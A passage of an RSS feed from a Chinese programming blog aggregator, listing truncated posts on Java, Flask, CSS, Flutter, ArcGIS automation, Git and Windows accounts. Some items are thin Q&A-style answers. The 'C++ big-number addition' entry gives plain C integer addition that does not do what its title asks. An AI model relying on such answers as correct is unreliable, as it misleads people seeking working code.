      <description>现实中，我们在微信中都有抢过红包，每个人抢的金额都不一致，在这里，我通过控制台使用java实现抢红包程序。&#xA;实现代码如下：&#xA;import java.text.DecimalFormat; import java.util.ArrayList; import java.util.List; import java.util.Scanner; public class GetRedEnvelope { public static void main(String[] args) { Scanner sc=new Scanner(System.in); System.err.println(&#34;这是一段抢红包的程序&#34;); int num; double money; System.err.println(&#34;请输入人数&#34;); num=sc.nextInt(); System.err.println(&#34;请输入金额&#34;); money=sc.nextDouble(); doubleMeanMethod(money, num); } /** * 生成范围内的随机浮点数 * @param min * @param max * @return */ public static double nextDouble(final double min,final double max) { return min+(max-min)*Math.random(); } public static String format(double value) { return new DecimalFormat(&#34;0.00&#34;).format(value); // 保留两位小数 } public static List&amp;lt;Double&amp;gt; doubleMeanMethod(double money,int number){ List&amp;lt;Double&amp;gt; result=new ArrayList&amp;lt;Double&amp;gt;(); if(money&amp;lt;0||number&amp;lt;1) { return null; } double amount,sum=0; int remainNum=number; int i=1; while(remainNum&amp;gt;1) { amount=nextDouble(0.</description>
    </item>
    <item>
      <title>游戏思考30：技能碰撞检测分类枚举及逆水寒魔兽老兵服副本攻略（英雄武林风云录，后续更新舞阳城、扬州、清明等副本攻略）</title>
      <link>https://bchobby.github.io/posts/c52bb47b4ea638b05f1002f19a71dbf1/</link>
      <pubDate>Sun, 19 Feb 2023 17:02:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c52bb47b4ea638b05f1002f19a71dbf1/</guid>
      <description>文章目录 一、技能碰撞检测方式分类讲解1）AABB2）OBB3）像素检测碰撞4）矩阵变换检测碰撞(打住，略)5）Tile地形检测碰撞（其实就是九方格遍历查找攻击对象） 二、武林风云录1）老一：陈斩槐（只有四个机制，dps压力不大，留爆发打影子就行）（1）点名红色扇形区域（2）点名红色长条，注意最后还有一段大劈（3）BOSS在百分之80 、50、20血量时会击退玩家，会刷新三个输出位置（4）BOSS在百分之35血时会吸玩家到其周围，释放旋风斩，得交解控技能。但是不要着急回去，还有一个圆圈的下坠伤害 2）老二：醉仙（1）红圈和点名略过（2）输出记得喝酒（龙吟内功，铁衣外功等）（3）每一个奉茶小厮都有名字，得按照诗词来按照顺序击杀小二 3）老三：楚相玉（1）boss有狂暴机制，冰火玄功达到极致，倒数360s，将直接团灭（人均得有1.2Wdps）（2）地上出现红圈，0.5s后将冒出冰柱，击飞造成一段伤害，落地造成二段伤害（估计代码是设计成击飞后掉落下来还在圆圈内）（3）点名T红色长条，多段伤害（4）烈焰焚身，需要交减伤或无敌规避伤害（5）冰风火凤融合产生圆形爆炸区域（6）赤炎寒光破（7）暴风雪 4）老四：刀狂（1）略过半圆斩、三段长条大劈、落地红圈、黑水机制不在赘述（2）达到百分之90血时，地上出现追忆碎片，分内外场地（血河上马溜boss，需要奶妈往返内网场用追忆碎片奶安抚boss并奶白剑）（3）刀狂有怒气机制，到百分之100时增加移速和攻击力（4）内场讲解 三、舞阳城1）老一：黑天尊使（1）攻击BOSS会叠加debuff原理及解决方法（2）BOSS怒气机制1、一阶段2、二阶段3、三阶段4、四阶段 2）老二：火焰围攻（机制说明）3）老三：药人战4）老四：红衣尊使5）老五：雷音尊使6）老六：薛魔主 一、技能碰撞检测方式分类讲解 1）AABB 定义&#xA;采用一个长方体将物体包裹起来，进行两个物体的相交性检测时仅检测物体对应包围盒（包裹物体的长方体）的相交性。长方体每一个面都是与某个坐标轴平面平行的，因此，AABB 包围盒又称了 轴对齐包围盒 。&#xA;备注&#xA;确定 AABB 包围盒就简单多了，仅需要记录 6 个值即可，这 6 个值分别代表包围盒在每个坐标轴上的最小值与最大值，即 xmin、xmax、ymin、ymax、zmin、zmax。也就是说，实际物体上所有的点都必须满足以下条件：&#xA;代码计算&#xA;1）C++版本检测AABB碰撞&#xA;法一:（1）包围盒 struct stBoundingBox { stBoundingBox () { min[0] = min[1] = min[2] = max[0] = max[1] = max[2] = 0; } float min[3]; float max[3]; }; //检测点是否在包围盒内 // Point inside box. bool OnCollision(stBoundingBox bb, float x, float y, float z) { if(bb.max[0] &amp;lt;= x) return false; if(bb.</description>
    </item>
    <item>
      <title>如果我想使用esp32-S3-eye连接的homkit上，我应该怎么做</title>
      <link>https://bchobby.github.io/posts/cbaf2773871ace25a9cfc24c1a11c849/</link>
      <pubDate>Sun, 19 Feb 2023 14:09:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbaf2773871ace25a9cfc24c1a11c849/</guid>
      <description>如果要使用esp32-S3-eye连接Homekit，你需要先在Homekit上正确配置esp32-S3-eye设备，然后使用Homekit的API接口进行连接。在连接过程中，你需要按照Homekit的要求提供相应的认证信息，以及建立安全的连接。</description>
    </item>
    <item>
      <title>Linux 4G模块开发例程</title>
      <link>https://bchobby.github.io/posts/a113c88fecae8207e631c7deba8b6fc5/</link>
      <pubDate>Sun, 19 Feb 2023 13:46:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a113c88fecae8207e631c7deba8b6fc5/</guid>
      <description>Linux 内核的 4G 模块的开发是一个比较复杂的过程。常见的步骤包括：&#xA;安装所需的开发工具，如编译器和内核开发工具。&#xA;学习内核编程基础知识，了解内核的架构和工作原理。&#xA;参考 Linux 内核文档，了解 4G 模块开发的要求和注意事项。&#xA;编写 4G 模块的代码，并使用内核编译工具将其编译成内核模块。&#xA;在目标系统上加载 4G 模块，并使用内核调试工具进行测试。&#xA;调试和优化 4G 模块的代码，完善模块的功能。&#xA;将 4G 模块的代码和文档提交给 Linux 内核社区，获得审核和发布。&#xA;这是一个大致的开发流程。更多细节内容可以参考 Linux</description>
    </item>
    <item>
      <title>cv2.HoughLines怎么使用</title>
      <link>https://bchobby.github.io/posts/9825ae1a8d0cbafefe72bfdce768040d/</link>
      <pubDate>Sun, 19 Feb 2023 13:40:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9825ae1a8d0cbafefe72bfdce768040d/</guid>
      <description>使用cv2.HoughLines可以检测图像中的直线。使用它的方法如下：首先，将图像转换为灰度图像，然后使用霍夫变换检测图像中的直线。可以使用cv2.HoughLinesP()来检测更复杂的直线，它会返回直线的端点坐标。</description>
    </item>
    <item>
      <title>如何了解springboot</title>
      <link>https://bchobby.github.io/posts/40299d8a8cfceae11c9ea2437d91bec9/</link>
      <pubDate>Sun, 19 Feb 2023 13:34:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40299d8a8cfceae11c9ea2437d91bec9/</guid>
      <description>Spring Boot是一个基于Java的框架，旨在简化创建独立，可执行的Spring应用程序。它提供了一组可以快速应用于大多数企业场景的功能，几乎可以摆脱XML配置的繁琐任务。您可以通过以下几种方式了解Spring Boot：1.阅读Spring Boot官方文档；2.观看相关视频教程；3.参加社区活动并与其他Spring Boot开发者交流；4.尝试编写一些Spring Boot示例项目。</description>
    </item>
    <item>
      <title>JAVA线程池的基本原理是什么？</title>
      <link>https://bchobby.github.io/posts/86638c66aaf54ace95fb6ebfda9efa4c/</link>
      <pubDate>Sun, 19 Feb 2023 13:18:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86638c66aaf54ace95fb6ebfda9efa4c/</guid>
      <description>Java线程池的基本原理是：线程池是一个用于管理线程的组件，它可以创建一个线程队列，并将请求的任务放入队列中，然后在线程空闲时将任务取出并执行。这样做的好处是可以避免频繁的线程创建和销毁对系统造成的性能开销，并且可以很方便地控制线程数量，从而保证系统在可控制的范围内达到最佳性能。</description>
    </item>
    <item>
      <title>写一个python的登录界面的代码</title>
      <link>https://bchobby.github.io/posts/69da42f3c74a8c8b7bceaa05f1fd18ba/</link>
      <pubDate>Sun, 19 Feb 2023 13:16:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69da42f3c74a8c8b7bceaa05f1fd18ba/</guid>
      <description>登录界面 username = input(&#34;请输入用户名：&#34;) password = input(&#34;请输入密码：&#34;)&#xA;if username == &#34;admin&#34; and password == &#34;123456&#34;: print(&#34;欢迎登录！&#34;) else: print(&#34;用户名或密码错误！&#34;)</description>
    </item>
    <item>
      <title>flask搭建网站，字数1000字以上</title>
      <link>https://bchobby.github.io/posts/037f8225d8ef5053bc5ccae26b9a3fe3/</link>
      <pubDate>Sun, 19 Feb 2023 13:15:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/037f8225d8ef5053bc5ccae26b9a3fe3/</guid>
      <description>Flask是一个Python框架，可以帮助开发者快速搭建网站。它提供了一组工具，可以让开发者更轻松地编写网站，提高工作效率。Flask可以帮助开发者快速搭建各种类型的网站，例如博客、论坛、电子商务网站、社交网络等。它能够完美地结合HTML、CSS、JavaScript和其他编程语言，使开发者可以轻松创建自己想要的网站。它提供了一系列友好的开发工具，可以让开发者轻松地搭建和管理网站，而不需要太多的技术细节。此外，Flask还提供了一系列安全功能，可以帮助开发者保护网站免受恶意攻击和网络安全威胁，提高网站安全性。总之，Flask是一个优秀的框架，可以帮助开发者快速搭建网站，提升开发效率，并且具备</description>
    </item>
    <item>
      <title>RISC-V指令集是一种精简的、可编程的指令集，它主要用于实现各种复杂的数据处理与控制任务。它提供了一系列简单的、可编程的指令，可以用来实现复杂的操作，比如addi指令，它可以将一个常数（如0x1）加...</title>
      <link>https://bchobby.github.io/posts/e2cdbee5aca1a093522b790a2e7c151a/</link>
      <pubDate>Sun, 19 Feb 2023 12:08:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2cdbee5aca1a093522b790a2e7c151a/</guid>
      <description>RISC-V指令集是一种精简可编程的指令集，可以用来实现复杂的数据处理和控制操作。它提供了一系列简单可编程的指令，例如addi指令，它可以将一个常数加到寄存器中，并将结果存储到另一个寄存器中，从而实现特定的操作。</description>
    </item>
    <item>
      <title>如何学习mysqldba</title>
      <link>https://bchobby.github.io/posts/a1f2d658c72dc4061873eabe01d64731/</link>
      <pubDate>Sun, 19 Feb 2023 11:30:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1f2d658c72dc4061873eabe01d64731/</guid>
      <description>学习MySQL DBA需要一系列的步骤。首先，你需要了解MySQL的基础知识，包括数据库结构、SQL查询、数据库设计和数据库管理。其次，你需要学习如何使用MySQL的开发工具，学习如何安装和配置MySQL服务器以及其他实用工具。最后，你需要学习如何管理MySQL服务器，包括性能监控、安全管理和可用性管理。</description>
    </item>
    <item>
      <title>列出一个健康饮食小程序设计的方案代码</title>
      <link>https://bchobby.github.io/posts/d6554350c5888597d43606e994951170/</link>
      <pubDate>Sun, 19 Feb 2023 11:22:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6554350c5888597d43606e994951170/</guid>
      <description>答：健康饮食小程序设计方案代码可以这样：1. 设置一个每日饮食计划，记录每日摄入的热量、营养素和营养素的比例。2. 建立健康饮食的搭配规则，按照不同的营养素搭配，以便于消费者更好地掌握饮食的比例。3. 基于现有的健康饮食资源，构建饮食计划，加入促进健康的食材，比如新鲜蔬菜、水果、豆类、谷物等。4. 通过每日热量摄入量和比例，指导消费者合理安排饮食，避免过量摄入营养物质。</description>
    </item>
    <item>
      <title>写一个贪吃蛇 python 代码</title>
      <link>https://bchobby.github.io/posts/feadeb7009fe69446d9738c913c70e87/</link>
      <pubDate>Sun, 19 Feb 2023 11:17:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/feadeb7009fe69446d9738c913c70e87/</guid>
      <description> 好的，下面是一个简单的贪吃蛇代码：&#xA;import turtle import time # 设置画布大小 turtle.setup(width=600, height=600) # 设置画笔速度 turtle.speed(8) # 画蛇的身体 def draw_snake(snake_list): for x, y in snake_list: turtle.penup() turtle.goto(x, y) turtle.pendown() turtle.circle(20) # 设置蛇头初 </description>
    </item>
    <item>
      <title>请用c&#43;&#43;写一个大数相加的算法</title>
      <link>https://bchobby.github.io/posts/8fa3c1efe55b1dd7d86607813e3cc0c8/</link>
      <pubDate>Sun, 19 Feb 2023 11:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fa3c1efe55b1dd7d86607813e3cc0c8/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt;int main() { int a, b, sum; printf(&#34;请输入第一个数字: &#34;); scanf(&#34;%d&#34;, &amp;amp;a); printf(&#34;请输入第二个数字: &#34;); scanf(&#34;%d&#34;, &amp;amp;b); sum = a + b; printf(&#34;它们之和为: %d&#34;, sum); return 0; }</description>
    </item>
    <item>
      <title>学习Python的资料</title>
      <link>https://bchobby.github.io/posts/2c57fac56412236ed9115c6617631537/</link>
      <pubDate>Sun, 19 Feb 2023 10:37:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c57fac56412236ed9115c6617631537/</guid>
      <description>如果您想学习Python，以下是一些有用的资源：&#xA;官方文档：https://docs.python.org/zh-cn/3/&#xA;书籍：《Python编程从入门到实践》、《Python基础教程》等&#xA;在线课程：Udemy、Coursera、edX等平台上都有很多Python课程可供选择&#xA;在线教程：如菜鸟教程(https://www.runoob.com/python/python-tutorial.html)&#xA;开源项目：参与一些开源项目能够让您更快地熟悉Python的编程思想和实践。&#xA;以上只是其中几个学习Python的途径，您可以根据自己的学习方式、兴趣爱好</description>
    </item>
    <item>
      <title>使用html实现实时获取GPS位置并每隔5秒生成完整的轨迹图的全部代码，显示轨迹图并把轨迹图保存至云端服务器：https://4147093qp2.imdo.co/upload，使用中国境内的服务商地...</title>
      <link>https://bchobby.github.io/posts/7891022af22fee9cf0dbe2994c041d4b/</link>
      <pubDate>Sun, 19 Feb 2023 09:59:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7891022af22fee9cf0dbe2994c041d4b/</guid>
      <description>要使用HTML实现实时获取GPS位置并每隔5秒生成完整的轨迹图，可以使用支持HTML5的JavaScript API，例如Geolocation API。可以使用这个API来获取实时的GPS位置，并使用它来创建完整的轨迹图。可以使用JavaScript库，如Leaflet或OpenLayers，显示轨迹图，同时可以使用将轨迹图保存至云端服务器，例如使用中国境内的服务商地图服务。</description>
    </item>
    <item>
      <title>把迁移学习的进展详细描述一下</title>
      <link>https://bchobby.github.io/posts/8de071f111241ad2e3003f4789955643/</link>
      <pubDate>Sun, 19 Feb 2023 09:53:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8de071f111241ad2e3003f4789955643/</guid>
      <description>迁移学习是一种机器学习技术，它允许模型从一个任务中学习知识，并将其应用到另一个任务上。通常，迁移学习通过使用深度学习算法来建立一个模型，该模型可以从一个任务中获得知识，并将其应用于另一个任务。它也可以用于缩短学习时间，减少计算资源的消耗，并使模型更加准确和可靠。</description>
    </item>
    <item>
      <title>关于CSS的基础知识</title>
      <link>https://bchobby.github.io/posts/547ba0166460bd3b6747f0f178904bd0/</link>
      <pubDate>Sat, 18 Feb 2023 23:14:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/547ba0166460bd3b6747f0f178904bd0/</guid>
      <description>CSS的基本介绍 css（Cascading style sheets）：层叠样式表&#xA;作用：给页面中的html标签设置样式&#xA;css标签写在style标签中，style标签一般写在head标签里面，title标签下面&#xA;css常见引入方式 &amp;lt;title&amp;gt;引入方式一（内嵌式）&amp;lt;/title&amp;gt;&#xA;&amp;lt;style&amp;gt; p{ /* 文字颜色 */ color: red; /* 文字大小 */ font-size: 30px; /* 背景颜色 */ background-color: aqua; /* 宽度 */ width: 500px; /* 高度 */ height: 500px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;p&amp;gt;css标签认识&amp;lt;/p&amp;gt; &amp;lt;/body&amp;gt; 内嵌式：css写在style里，作用在当前页面（小案例）&#xA;外联式：css写在单独的css文件中，通过link引入，作用多个页面（项目中）&#xA;行内式：css写在标签的style属性中，作用在当前页面（配合js使用）&#xA;基本选择器 结构：标签名{css属性名：css属性值；}&#xA;作用：通过标签名，找到页面中所有这类标签，设置样式&#xA;注意点：&#xA;标签选择器选择的是一类标签，而不是单独的一个&#xA;标签选择器无论嵌套关系有多深，都能找到相应的标签&#xA;类选择器 结构：.类名{css属性名：css属性值；}&#xA;作用：通过类名，找到页面中所有带有这个类名的标签，设置样式&#xA;注意点：&#xA;所有标签上都有class属性，class属性的属性值成为类名&#xA;类名可以由数字、字母、下划线、中划线组成，但不能以数字或者中划线开头&#xA;一个标签可以同时有多个类名，类名之间以空格隔开&#xA;类名可以重复，一个类选择器可以同时选中多个标签&#xA;id选择器 结构：#id属性值{css属性名：css属性值；}&#xA;作用：通过id属性值，找到页面中带有这个id属性值的标签，设置样式&#xA;注意点：&#xA;所有标签上都有id属性&#xA;id属性值类似于身份证号码，在一个页面中是惟一的，不可重复&#xA;一个标签只能与一个id属性值&#xA;一个id选择器只能选中一个标签&#xA;类与id的区别 class类名与id属性值的区别&#xA;class类名相当于姓名，可以重复，一个标签可以同时有多个class类名</description>
    </item>
    <item>
      <title>python自动化之基于Arcgis10.2.2中Arcpy编译环境下实现arcgis应用内要素与Web网页联动功能探索--Arcgis高级超链接功能（脚本超链接的使用）</title>
      <link>https://bchobby.github.io/posts/3d9dfdc8a34d59f5d1e31c146d5c4224/</link>
      <pubDate>Sat, 18 Feb 2023 20:30:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d9dfdc8a34d59f5d1e31c146d5c4224/</guid>
      <description>目录 1.项目背景阐述2.常规操作3.新的玩法4.启发与思路4.1.简述4.2.启发 5.环境搭建6.实现步骤7.代码8.小结 1.项目背景阐述 为强化自然资源统一调查监测，准确掌握全省国土利用变化情况，满足各项自然资源管理工作需要，2022年度全省国土变更调查工作开始了。&#xA;近期国家下发遥感监测图斑、地理国情监测变化图斑及自主提取变化图斑，要求按照规定时间点上报核查初报数据。同时，城乡建设用地增减挂钩、土地综合整治、高标准农田建设等项目涉及地类变化的，要及时纳入当年国土变更调查。国家下发图斑、地方自主提取图斑需要逐一现场查看核实，分析变化原因，对变化后的土地利用现状地类开展认定。我们单位负责外业调查的技术人员坚持走到、看到、问到“三到”原则，顶风冒雨实地拍照举证，并充分利用“互联网+”的信息化手段并将拍摄照片上传到省级国土变更调查在线举证与核查云平台（后面简称为“外业核查云平台”）。面对这一紧迫艰巨的任务，既要保证质量，还得准时上报调查成果。因此亟需优化工作步骤，提升效率。&#xA;就现阶段的工作流程来讲，我发现在做内业的过程中，存在提升效率的地方。在查看外业平台同时再进行内业修改的过程中可以进一步优化工作步骤，做一些效率上的提升。&#xA;2.常规操作 具体工作内容描述&#xA;我在工作过程中，首先需要在arcgis软件内找到当前范围内监测图斑的编号，然后把图斑的编号复制到“外业核查云平台”上，找到外业举证的详情，再决定是否要进行内业修改。工作倒不是很难，就是来回的切换窗口操作很不方便（多屏显示的除外）。就意味着在外业后举证平台与arcgis应用之间来回切换，操作很是不方便，为提高工作效率，现做arcgis内图层要素与网页搜索的联动研究。&#xA;效果演示&#xA;3.新的玩法 效果演示&#xA;4.启发与思路 4.1.简述 已知条件1 Arcgis可以使用超链接。超链接[^1]可用于访问与要素关联的文档或网页。使用工具条上的超链接工具(如下图红框内所示) ：&#xA;使用超链接工具之前，您需要先进行定义，超链接可定义为以下三种类型中的任一种： Hyperlink类型说明文档使用超链接工具单击要素时，将在相应的应用程序（例如 Microsoft Excel）中打开关联的文档或文件。URL使用超链接工具单击要素时，将在 web 浏览器中启动一个 web 页面。脚本使用超链接工具单击要素时，要素值将发送到脚本。此选项可启用对自定义行为的使用。 可访问各要素的超链接。本文将主要介绍如何使用脚本实现Arcgis应用与网页间的联动跳转。&#xA;已知条件2 Arcgis可以使用Python编写的脚本程序。已知条件3 python可以使用Selenium实现网页操作的自动化。 4.2.启发 能否利用python将selenium的自动化功能应用到arcgis中，实现半自动化的操作？为了解决这个问题，由此我才写出这篇文章。 5.环境搭建 ArcGIS10.2.2Python 2.7.3 (default, Apr 10 2012, 23:31:26) [MSC v.1500 32 bit (Intel)] on win32(ArcGIS10.2.2自带的python版本)IDLE：用于测试编译的环境(ArcGIS10.2.2自带的python版本)PyScripter3.6.1(32bit) ：IDLE和PyScripter二选一就行Chrome 版本 109.0.5414.120（正式版本） （64 位）chromedriver(与Chrome浏览器的版本号保持一致) 6.实现步骤 Mon 06 Mon 13 安装所需的扩展库 安装Chrome浏览器 编写脚本 测试 最终成果 在进行编码测试的过程中有出现了两种思路：&#xA;说明优点缺点思路1点击要素后，打开浏览器，需要先登录账户，然后再进行后续联动的操作一步到位耗时，每次都重新登录思路2提前打开浏览器登录账户，然后获取已登录的窗口，进行后续操作。省时，效率明显提升提前做好准备（这不算缺点） 经过分析后，直接选择思路2，后续实现的代码也是依据思路2编写。&#xA;7.代码 代码为测试代码，非脚本代码，脚本代码个人资源中。&#xA;# encoding=utf8 import sys #import time from selenium import webdriver from selenium.</description>
    </item>
    <item>
      <title>8 Flutter UI 之 路由</title>
      <link>https://bchobby.github.io/posts/281b3b6353c03954eba1e4f57b8b7625/</link>
      <pubDate>Sat, 18 Feb 2023 10:48:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/281b3b6353c03954eba1e4f57b8b7625/</guid>
      <description>一 基本路由 路由就是页面的跳转，通过Navigator组件管理路由导航&#xA;Flutter 提供了两种方式 基本路由和命名路由&#xA;Container( child: Center( child: Column( children: [ ElevatedButton( onPressed: () { // 跳转到购物车界面 Navigator.of(context) .push(MaterialPageRoute(builder: (BuildContext context) { return SearchPage(); })); }, child: Text(&#34;Jump to Search Page&#34;)), ElevatedButton( onPressed: () { // 跳转到购物车界面并且传值 Navigator.of(context) .push(MaterialPageRoute(builder: (BuildContext context) { return FormPage(title: &#34;title from home&#34;); })); }, child: Text(&#34;Jump to Search Page with Parameters&#34;)) ], )), ) import &#39;package:flutter/material.dart&#39;; class SearchPage extends StatelessWidget { const SearchPage({super.</description>
    </item>
    <item>
      <title>【git】图形化git管理工具SourceTree</title>
      <link>https://bchobby.github.io/posts/c147d9c060667f2aafddd211373266f3/</link>
      <pubDate>Fri, 17 Feb 2023 23:35:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c147d9c060667f2aafddd211373266f3/</guid>
      <description>命令行操作确实很方便快捷，但图形化工具看起来更直观，在git仓库管理中也是这样。&#xA;这一节来介绍使用git图形化管理工具SourceTree。&#xA;1. 安装 地址：https://www.sourcetreeapp.com/&#xA;目前还只支持Windows和Mac OS。&#xA;2. 使用 在我们掌握git命令行的提交和分支管理后，再使用GUI工具，会发现更高效。&#xA;添加仓库 git config user.name git config user.email 提交 git add . git commit -m &#34;update&#34; 分支 git branch -a git checkout xxx git merge 推送 git pull git push 3. 小结 SourceTree GUI工具对于常用的提交、分支、推送等操作来说非常方便，但也保留了终端工具，是一款git管理利器。&#xA;参考：&#xA;https://www.liaoxuefeng.com/wiki/896043488029600/1317161920364578 https://www.runoob.com/git/source-tree-intro.html 以上。</description>
    </item>
    <item>
      <title>C# 初级教程（一）手把手教你创建程序</title>
      <link>https://bchobby.github.io/posts/8be7326b306b57b10fcc2a22d4b475e9/</link>
      <pubDate>Fri, 17 Feb 2023 23:04:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8be7326b306b57b10fcc2a22d4b475e9/</guid>
      <description>1 使用VisualStudio 创建第一个C#程序 在初学者的角度，Visual Studio这个相对比较复杂的IDE（Integrated Development Environment 集成开发环境）就已经吓退了很多人。&#xA;当年做为初学者的我，打开VS真的是一脸迷茫，而当时的网络上很少会有完整的代码教学，大部分都是某个片段，某个函数，某个功能，导致我打开VS创建项目就花了两天时间。&#xA;当然现在随着网络发展越来越快，各种信息资料都已经丰富起来，但我还是想从最基本的地方教学一下。&#xA;笔者所使用的 Visual Studio 版本如下图所示：&#xA;因为平时使用Unity进行开发，所以一直使用2019版本。&#xA;1.1 创建新项目 首先打开VS，出现以下的窗口，点击如下所示的 控制台应用程序 ，选择完成后点击下一步。&#xA;点击下一步之后出现配置窗口，更改项目的名称，尽量能够描述项目的具体功能和效果；更改一下目录，放在你想要管理和存储的位置，完成后继续点击下一步。&#xA;选择控制台应用的目标框架，一般高版本比较好。可以参阅微软官方文档 SDK 样式项目中的目标框架 - .NET | Microsoft Learn。&#xA;创建之后，会自动生成一个项目窗口，主要包含解决方案资源管理器，包含解决方案和项目资源；项目资源包括分析器、引用集、框架等信息；&#xA;类文件 Program.cs 也在显示中，还会显示类中存在的方法；文件窗口处打开了目前的类文件，包含项目引用、命名空间、类、主函数等。&#xA;最下方的输出控制台和错误列表，可以方便快速调试程序。&#xA;1.2 了解第一个C#程序（面向对象编程） 新建项目之后，会自动创建一个程序，该程序如下所示，是一个简单的Main函数，作为主程序而启动。&#xA;using System;//引用程序集 namespace HelloWorld//命名空间 { class Program//类 { static void Main(string[] args)//主函数 { Console.WriteLine(&#34;Hello World!&#34;);//输出 Hello World } } } 运行该程序，就可以看到&#xA;2 结语 时间比较晚了，总结了很多，等待专栏再度更新，谢谢大家支持！</description>
    </item>
    <item>
      <title>数字IC设计随笔之八（初识数字后端库）</title>
      <link>https://bchobby.github.io/posts/4356516e130ef14027a2cafd5625f134/</link>
      <pubDate>Fri, 17 Feb 2023 21:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4356516e130ef14027a2cafd5625f134/</guid>
      <description>概述&#xA;在使用ICC做后端流程中，需要的文件有:&#xA;Verilog门级网表和时序约束文件 门级网表和时序约束文件可以由DC或Genus产生,其与工艺不相关。&#xA;技术文件(.tf)寄生参数库(tlupus/itf)逻辑库(.db)Milkyway参考库 上述库文件与所采用的工艺制程密切相关，fab厂直接提供，觉得理解其意义还是很关键的，在后端流程中，知其然，知其所以然。&#xA;技术文件(Technology File)&#xA;技术文件中的内容不够主要包含下面几个方面，具体细节的定义与fab厂相关，理解其内容，有助于理解后端的布线。&#xA;单位和值定义 Technology&#xA;{&#xA;name = “STD1V8”&#xA;unitTimeName = “ns”&#xA;timePrecision = 1000&#xA;unitLengthName =“micron”&#xA;lengthPrecision = 1000&#xA;gridResolution = 1&#xA;}&#xA;颜色定义，定义多种颜色 Color color_value&#xA;{&#xA;name =“color_value”&#xA;rgbDefined = 1&#xA;redIntensity = 255&#xA;rgreenIntensity = 255&#xA;blueIntensity = 100&#xA;}&#xA;最小单元尺寸 Tile “unit”&#xA;{&#xA;width = x&#xA;height = y&#xA;}&#xA;该参数定义在布局的时候，一般cell的高度为y，特殊的cell高度为2y，而cell的宽度为x的整数倍。&#xA;层定义 Layer “layer_name”&#xA;{&#xA;layerNumber = 10&#xA;maskName = “METAL2”</description>
    </item>
    <item>
      <title>Mac下载EasyConnect</title>
      <link>https://bchobby.github.io/posts/3e3373f5c8b470c80ae270f80d8b3d8b/</link>
      <pubDate>Fri, 17 Feb 2023 16:43:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e3373f5c8b470c80ae270f80d8b3d8b/</guid>
      <description>关于 mac下载EasyConnect 问题汇总 下载 地址: https://vpn.xhhos.com/com/installClient.html?language=zh_CN&#xA;注意：要用Safari浏览器下载，Chrome 下载会没有反应</description>
    </item>
    <item>
      <title>Windows11创建&amp;删除账户以及用户权限的相关问题</title>
      <link>https://bchobby.github.io/posts/c6670d50beeb5550f0cf08097a80fcec/</link>
      <pubDate>Fri, 17 Feb 2023 16:16:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6670d50beeb5550f0cf08097a80fcec/</guid>
      <description>前言 之前因为安装一个程序，平时一直用的账户没有Administrator权限，导致无法安装成功，将其设置为管理员并且启用管理员账户状态后，又产生了Administrator账户。于是把账户里的文件迁移到Administrator下，因为创建本地用户会占用C盘空间，那么通常我们会把不需要的账户给删除掉，因此我也是在文件迁移完毕后删除了账户。&#xA;但是删除账户之前如果没有把账户的管理员权限给禁用，那么删除账户后有的文件会因为权限原因无法删除掉，这时我们需要分析其中的具体原因，避免运行以前并未更改设置的程序后,又产生临时文件到C:\Users路径下已删除的账户的路径下。接下来会通过以下几点来进行阐述（删除的用户用dhy表示）。&#xA;1.用户概览 1.1.用户分类介绍 首先我们可以了解用户组，对用户的权限和关系有一个更清晰的认知：&#xA;用户组分为组决定了用户的权限。计算机上 System 组的权限最高，用户中 Administrators 组的权限最高，Users 组居中，Guests 组最低。&#xA;而用户又分为Microsoft Office Email注册的电子邮件账户和本地账户。&#xA;Administrators/Users组所属用户域：BUILTIN&#xA;查看sid值 : 通过WIN+R组合键进入运行，输入cmd,在命令提示符(Command Prompt)中输入”whoami /user”。&#xA;1.2.登录名&amp;amp;用户名&amp;amp;用户文件名 登录名为登陆界面或者开始菜单所展示的名字。&#xA;用户名是系统内部的，通常出现在文件路径名或者组或用户名中。&#xA;用户文件名是在创建用户时产生的C:\Users下的默认路径，创建用户后修改用户名，用户文件名不会改变。&#xA;1.3.实际应用 1.3.1.用户权限 因为本文刚开始提到的软件安装出现的权限问题，需要修改用户权限。而现在使用的电脑是Windows11系统的，当时创建电子邮箱账户时可能没有在账户选项中改变账户类型为管理员Administrator（我也记不清当时注册界面具体什么样了，已经过了一年了）。后面才知道，一般情况下Win11的管理员账户是关闭的，不过用户可以通过开启管理员账户来进行登录，登录管理员账户以后就获得了所有管理员权限。&#xA;具体操作如下:&#xA;https://office.tqzw.net.cn/computer/windows/171477.html 发现我的设置为已禁用，将其改为已启用。&#xA;查看了下账户dhy的属性，发现账户dhy不是Administrators组，之前选中的其他（这图是后面截的，这时已经改为管理员了）。&#xA;1.3.2. 创建Administrator用户 如果与我上述情况一样，没有Administrator用户，通过WIN+R组合键（或者【开始】→【运行】）打开运行后，在运行中输入” lusrmgr.msc”按回车键运行载入lusrmgr界面。双击本地用户和组（本地）下的用户→右键点击当前用户(dhy)→【属性】，去掉【帐户已禁用】前的钩。&#xA;确定后退出，并且注销当前用户，在登录界面就有了现在的Administrator账户了。&#xA;2.残留文件清理 2.1．问题描述 